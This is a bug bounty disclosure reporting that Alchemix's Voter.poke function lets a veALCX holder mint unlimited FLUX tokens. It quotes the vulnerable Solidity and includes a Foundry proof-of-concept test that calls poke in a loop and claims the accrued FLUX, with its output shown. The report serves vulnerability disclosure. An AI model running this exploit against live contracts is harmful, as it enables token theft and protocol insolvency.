31461 - [SC - Critical] veALCX holder can mint Unlimited FLUX tokens
Submitted on May 19th 2024 at 21:51:12 UTC by @OxAnmol for Boost | Alchemix
Report ID: #31461
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol
Impacts:
Protocol insolvency
Description
Brief/Intro
Voter:poke
function can be called multiple times by the veALCX holder and mint unlimited flux.
Vulnerability Details
The Voter:poke
function is used to vote again with the same weights, effectively renewing the previous vote.
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195C3-L212C6
function poke(uint256 _tokenId) public {
// Previous boost will be taken into account with weights being pulled from the votes mapping
uint256 _boost = 0;
if (msg.sender != admin) {
require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
}
address[] memory _poolVote = poolVote[_tokenId];
uint256 _poolCnt = _poolVote.length;
uint256[] memory _weights = new uint256[](_poolCnt);
for (uint256 i = 0; i < _poolCnt; i++) {
_weights[i] = votes[_tokenId][_poolVote[i]];
}
_vote(_tokenId, _poolVote, _weights, _boost);
}
It internally calls _vote functions which is responsible for voting by looping though the provided gauge addresses and it also accrues the flux token for voters by calling Flux:accrueFlux.
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L412C4-L455C6
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
...SNIP...
//@audit if we call from poke the we can accrue unlimited FLUX
IFluxToken(FLUX).accrueFlux(_tokenId);
uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);
for (uint256 i = 0; i < _poolCnt; i++) {
address _pool = _poolVote[i];
address _gauge = gauges[_pool];
require(isAlive[_gauge], "cannot vote for dead gauge");
uint256 _poolWeight = (_weights[i] * totalPower) / _totalVoteWeight;
require(votes[_tokenId][_pool] == 0, "already voted for pool");
require(_poolWeight != 0, "cannot vote with zero weight");
_updateFor(_gauge);
poolVote[_tokenId].push(_pool);
weights[_pool] += _poolWeight;
votes[_tokenId][_pool] += _poolWeight;
IBribe(bribes[_gauge]).deposit(uint256(_poolWeight), _tokenId);
_totalWeight += _poolWeight;
emit Voted(msg.sender, _pool, _tokenId, _poolWeight);
}
if (_totalWeight > 0) IVotingEscrow(veALCX).voting(_tokenId);
totalWeight += uint256(_totalWeight);
usedWeights[_tokenId] = uint256(_totalWeight);
lastVoted[_tokenId] = block.timestamp;
// Update flux balance of token if boost was used
if (_boost > 0) {
IFluxToken(FLUX).updateFlux(_tokenId, _boost);
}
}
If a user has locked their BPT but has never voted, they can call the poke
function. This function attempts to renew the user's voting, but because the user never voted in the first place there is nothing to renew, it only accrues the flux for the user. The user can call this poke
function as often as they want to accumulate unlimited flux.
Impact Details
Users can mint an unlimited amount of FLUX, which could potentially devalue the currency and undermine the logic for boosting and early unlocks.
The FLUX token is a vital component of the system and is expected to hold some tangible value in the open market. Unlimited minting could potentially disrupt its tokenomics and make the protocol's DAO insolvent.
Imagine if such an attack occurs one year after the protocol launch. Users holding millions of dollars worth of FLUX could lose everything due to a price surge.
Based on above stated reason I believe this to be a critical issue.
References
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195C3-L212C6
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/FluxToken.sol#L188C3-L192C6
Proof of Concept
Here is a simple test to show how veALCX holder can call Voter::poke
many times and accrue unlimited flux.
paste the test in FluxTokenTest.t.sol
and run it.
function testMintUnlimitedFLux() external {
uint256 tokenId = createVeAlcx(admin, TOKEN_1, veALCX.MAXTIME(), true);
//Within the same epoch call poke function as many times as you want to earn unlimited flux
hevm.startPrank(admin);
// For example for are doing only 100 iterations
for (uint256 i = 0; i < 100; i++) {
voter.poke(tokenId);
}
uint256 claimableFluxAfterPoke = flux.getUnclaimedFlux(tokenId);
flux.claimFlux(tokenId, claimableFluxAfterPoke);
console2.log("Flux Stolen: ", flux.balanceOf(admin));
vm.stopPrank();
}
Output
Here you can see 98.839805301052500300
FLUX is stolen just by calling the poke
function 100 times.
Ran 1 test for src/test/FluxToken.t.sol:FluxTokenTest
[PASS] testMintUnlimitedFLux() (gas: 2867107)
Logs:
Flux Stolen: 98839805301052500300
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 93.06s (65.30s CPU time)
Ran 1 test suite in 93.95s (93.06s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Last updated
Was this helpful?